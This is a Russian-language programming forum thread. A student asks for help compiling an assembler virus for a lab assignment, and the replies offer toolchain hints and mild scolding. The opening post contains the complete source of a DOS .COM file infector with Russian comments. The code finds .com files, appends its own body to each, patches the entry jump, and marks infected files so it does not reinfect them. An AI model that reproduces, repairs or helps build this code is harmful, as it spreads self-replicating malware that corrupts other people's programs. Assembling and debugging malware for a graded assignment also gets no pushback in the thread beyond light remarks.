powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Программирование [игнор отключен] [закрыт для гостей] / Ассемблер... Хелп!!!
18 сообщений из 18, страница 1 из 1
Ассемблер... Хелп!!!
    #37475685
Crass_Mark
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Всем привет! Проблема собственно в том, что мне необходимо написать вирус на ассемблере. Учитывая то, что на ассемблере я писал только лабы - это очень серьезная проблема. После недолгих скитаний по инету я нашел книгу Коваля, там то я и обнаружил нужный мне код, но..... У меня никак не получается его откомпилировать - много ошибок. Вот код -
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
     prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    start:     jmp vir                ;Передача управ-
                                      ;ления вирусному
                                      ;коду ...
	       org 110h

    vir:       push ds                ;Сохраним DS ...
                                      ;Корректируем
               mov ax,ds              ;регистр DS  ...
               db 05h                 ;Код команды
    add_to_ds: dw  0                    ; " ADD AX,00h "
	       mov ds,ax              ;AX -> DS    ...

    fresh_bytes:
	       mov al,old_bytes
	       mov cs:[100h],al
	       mov al,old_bytes+ 1 
	       mov cs:[101h],al
	       mov al,old_bytes+ 2 
	       mov cs:[102h],al

	       mov cx,80h             ;Размер DTA -
                                      ; 128  байт ...
	       mov bx,80h             ;Смещение к DTA
	       lea si,old_dta         ;Адрес массива
    save_dta:
	       mov al,byte ptr cs:[bx];Читаем из DTA
                                      ;байт и  перено-
	       mov ds:[si],al         ;сим его в мас-
                                      ;сив ...
	       inc bx                 ;К новому байту
	       inc si                 ;
	       loop save_dta          ;Цикл  128  раз

    find_first:
	       mov ah,4eh             ;Поиск первого
                                      ;файла ...
	       mov cx,00100110b       ;archive, system
                                      ;hidden
	       lea dx,maska           ;Маска для поис-
                                      ;ка
	       int 21h
	       jnc r_3                ;Нашли !
	       jmp restore_dta        ;Ошибка !

    find_next: mov ah,3eh             ;Закроем  непод-
	       int 21h                ;ходящий файл...
	       jnc r_2
	       jmp restore_dta        ;Файл нельзя за-
                                      ;крыть !

    r_2:       mov ah,4fh             ;И найдем сле-
	       int 21h                ;дующий ...
	       jnc r_3                ;Файл найден !
	       jmp restore_dta        ;Ошибка !

    r_3:       mov cx, 12               ;Сотрем в буфере
	       lea si,fn              ;"fn" имя  пред-
    destroy_name:                     ;ыдущего файла
	       mov byte ptr [si], 0     ;
	       inc si                 ;
	       loop destroy_name      ;Цикл  12  раз ...

 	       xor si,si	      ;И запишем в бу-
    copy_name: mov al,byte ptr cs:[si+9eh]
                                      ;фер имя только
	       cmp al, 0                ;что найденного
                                      ;файла ...
	       je open                ;В конце имени в
	       mov byte ptr ds:fn[si],al
                                      ;DTA всегда сто-
               inc si                 ;ит ноль, его мы
	       jmp copy_name          ;и хотим достичь

    open:      mov ax,3d02h           ;Открыть файл
                                      ;для чтения и
                                      ;записи ...
	       lea dx,fn              ;Имя файла ...
	       int 21h                ;Функция DOS
	       jnc save_bytes
	       jmp restore_dta        ;Файл не откры-
                                      ;вается !

    save_bytes:                       ;Считаем три
                                      ;байта :
	       mov bx,ax              ;Сохраним дес-
                                      ;криптор в BX
	       mov ah,3fh             ;Номер функции
	       mov cx, 3                ;Сколько байт ?
	       lea dx,old_bytes       ;Буфер для счи-
                                      ;тываемых данных
	       int 21h
               jnc found_size
	       jmp close              ;Ошибка !

    found_size:
	       mov ax,cs:[09ah]       ;Найдем размер
                                      ;файла
    count_size:mov si,ax
	       cmp ax, 64000            ;Файл длиннее
                                      ; 64000  байт ?
	       jna toto               ;Нет ...
	       jmp find_next          ;Да - тогда он
                                      ;нам не подходит
    toto:      test ax,000fh          ;Округлим размер
	       jz krat_16             ;до целого числа
	       or ax,000fh            ;параграфов    в
	       inc ax                 ;большую сторону
    krat_16:   mov di,ax              ;И  запишем  ок-
                                      ;ругленное  зна-
                                      ;чение в DI ...
                                      ;Расчитаем  сме-
                                      ;щение для пере-
                                      ;хода на код ви-
                                      ;руса ...
	       sub ax, 3                ;Сама    команда
                                      ;перехода  зани-
                                      ;мает три байта!
	       mov byte ptr new_bytes[ 1 ],al
                                      ;Смещение найде-
	       mov byte ptr new_bytes[ 2 ],ah
                                      ;но !
	       mov ax,di              ;Сколько   пара-
	       mov cl, 4                ;графов содержит
	       shr ax,cl              ;заражаемая про-
	                              ;грамма ?
               dec ax                 ;Учитываем дейс-
                                      ;твие директивы
                                      ;ORG 110h ...
	       mov byte ptr add_to_ds,al
                                      ;Корректирующее
	       mov byte ptr add_to_ds+ 1 ,ah
                                      ;число найдено !

	       mov ax,4200h           ;Установим ука-
	       xor cx,cx              ;затель на пос-
	       dec si                 ;ледний байт
	       mov dx,si              ;файла ...
	       int 21h
	       jnc read_last
	       jmp close              ;Ошибка !

    read_last:                        ;И считаем этот
	       mov ah,3fh             ;байт в ячейку
               mov cx, 1                ; " last " ...
	       lea dx,last
	       int 21h
	       jc close	              ;Ошибка !

	       cmp last,'7'           ;" last " =" 7 "
	       jne write_vir          ;Нет - дальше
	       jmp find_next          ;Да- поищем дру-
                                      ;гой файл ...

    write_vir: mov ax,4200h           ;Установим  ука-
	       xor cx,cx              ;затель на конец
	       mov dx,di              ;файла ...
	       int 21h
               jc close               ;При ошибке -
	                              ;закроем файл
               mov ah,40h             ;Запишем  в файл
               mov cx,vir_len         ;код вируса дли-
               lea dx,vir             ;ной vir_len
               int 21h
               jc close	              ;При ошибке -
	                              ;закроем файл
    write_bytes:
	       mov ax,4200h           ;Установим  ука-
	       xor cx,cx              ;затель на нача-
	       xor dx,dx              ;ло файла
	       int 21h
	       jc close               ;При ошибке -
	                              ;закроем файл

               mov ah,40h             ;Запишем в  файл
               mov cx, 3                ;первые три бай-
               lea dx,new_bytes       ;та ( команду
               int 21h                ;перехода ) ...

    close:     mov ah,3eh             ;Закроем   зара-
               int 21h	              ;женный файл ...

    restore_dta:
	       mov cx,80h             ;Размер DTA -
                                      ; 128  байт ...
	       mov bx,80h             ;Смещение к DTA
	       lea si,old_dta         ;Адрес массива
    dta_fresh:
	       mov al,ds:[si]         ;Читаем из  мас-
                                      ;сива "old_dta"
	       mov byte ptr cs:[bx],al;байт и  перено-
                                      ;сим его в DTA
	       inc bx                 ;К новому байту
	       inc si                 ;
	       loop dta_fresh         ;Цикл  128  раз

	       pop ds                 ;Восстановим
                                      ;испорченный DS
	       push cs                ;Занесем в стек
                                      ;регистр CS
	       db 0b8h                ;Код команды
    jump:      dw 100h                ;mov ax,100h
	       push ax                ;Занесем в стек
                                      ;число 100h
	       retf                   ;Передача управ-
                                      ;ления на задан-
                                      ;ный адрес ...

    ;\*Data area ...

    old_bytes db   0e9h               ;Исходные три
                                      ;байта  заражен-
              dw   vir_len + 0dh      ;ной программы

    old_dta   db    128  dup ( 0 )        ;Здесь вирус
                                      ;хранит исходную
                                      ;DTA программы
    maska     db   '*.com', 0           ;Маска для поис-
                                      ;ка файлов ...
    fn        db    12  dup (' '), 0      ;Сюда помещается
                                      ;имя файла -жер-
                                      ;твы ...
    new_bytes db   0e9h               ;Первые три бай-
              db   00h	              ;та вируса в
              db   00h	              ;файле ...

    last      db    0                   ;Ячейка для пос-
                                      ;леднего байта
              db   '7'                ;Последний байт
                                      ;вируса в файле

    vir_len   equ   $-vir             ;Длина вирусного
                                      ;кода ...

    prg_end:   mov ah,4ch             ;Завершение  за-
               INT 21H                ;пускающей прог-
                                      ;раммы ...

              db '7'                  ;Без этого  сим-
                                      ;вола вирус  за-
                                      ;разил бы сам
                                      ;себя ...

    prg ends                          ;Все ASM - прог-
    end start                         ;раммы  заканчи-
                                      ;ваются примерно
                                      ;так .

Этот код я пытался откомпилировать в FMASM и MASM32 ничего не получилось. Возможно нужна какая-нить еще версия ассемблера? Да и что означают ошибки?
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475713
Siemargl
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_Mark,

Это похоже на tasm.
DOS-вирусы сейчас не в моде =)
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475788
kolobok0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_Mark.... Да и что означают ошибки?

5 ошибка говорит Вам о том, что вы не включили компютер.

(круглый)
ЗЫ
телепаты в отпуске.
ЗЫ ЗЫ
Код так себе - средней поршивости. есть куда оптимизировать и шлифовать...
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475821
Crass_Mark
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Siemargl, а тебе случайно аналоги на FASM не попадались? Может ссылкой поможешь?
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475844
Siemargl
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_Mark,

Халявщикам не помогаю. Бери и корректируй. Это несложно
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475878
Crass_Mark
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Siemargl, Да мне сдать лабу и забыть!!! Я ж не деньги на этом делаю...
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475885
Фотография Изопропил
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_MarkДа мне сдать лабу и забыть!!!
а потом спутники падают.....
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475886
Crass_Mark
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Siemargl, Та и к тому же нигде не могу найти TASM... Если знаешь, скинь ссылку, плизз)
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475897
Siemargl
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_Mark,

Все смотри на wasm.ru
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475913
Crass_Mark
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Siemargl, Вооо, дело сказал... Спасибо)
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475976
Crass_Mark
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Siemargl, Можешь пояснить, что за ошибка и как её исправить
Код: plaintext
Fatal: Bad object file 'test01.asm' near file offset  0 
? Что-то линкер постоянно выдает такую ошибку. Причем даже на самые простяцкие проги...
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37475989
Siemargl
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_Mark,

c:\>tasm test01.asm

Линкер это линкер - это другое )
Читай мачасть.
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37476011
Crass_Mark
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Siemargl, Слушай, может ты что-нить поконкретнее посоветуешь,а? Ну в чем может быть косяк? Я уже 3-ю версия TASMa меняю...
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37476026
Фотография Изопропил
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_Mark,

внимательно прочитать на сообщение линкера, особенное внимание обратить на аргументы
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37476126
Фотография mayton
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_MarkВсем привет! Проблема собственно в том, что мне необходимо написать вирус на ассемблере. Учитывая то, что на ассемблере я писал только лабы - это очень серьезная проблема. После недолгих скитаний по инету я нашел книгу Коваля, там то я и обнаружил нужный мне код, но..... У меня никак не получается его откомпилировать - много ошибок. Вот код
Безумству храбрых мы песни поём. Ты попробоуй сначала Хелохты ворлд написать. Потом потихонечьку... последовательно.
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37478471
Фотография AndreTM
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Особенно если учесть
что здесь собираются человеки, которые способны кодить прямо, безо всяких макроассемблеров - знать бы проц, под который...
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37478499
Фотография С0ВЕСТЬ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Crass_MarkSiemargl, Да мне сдать лабу и забыть!!! Я ж не деньги на этом делаю...

А кто тебя знает?
Лучше что-то полезное сделал бы. Этим игрались еще в прошлом веке.
...
Рейтинг: 0 / 0
Ассемблер... Хелп!!!
    #37480457
kolobok0
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
С0ВЕСТЬ...Этим игрались еще в прошлом веке.

и в прошлом и в нынешнем. угумс - играемся, только бабло в осадке капает :)

азмы они разные.
x86 и Ко сейчас менее актуален...

(круглый)
...
Рейтинг: 0 / 0
18 сообщений из 18, страница 1 из 1
Форумы / Программирование [игнор отключен] [закрыт для гостей] / Ассемблер... Хелп!!!
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]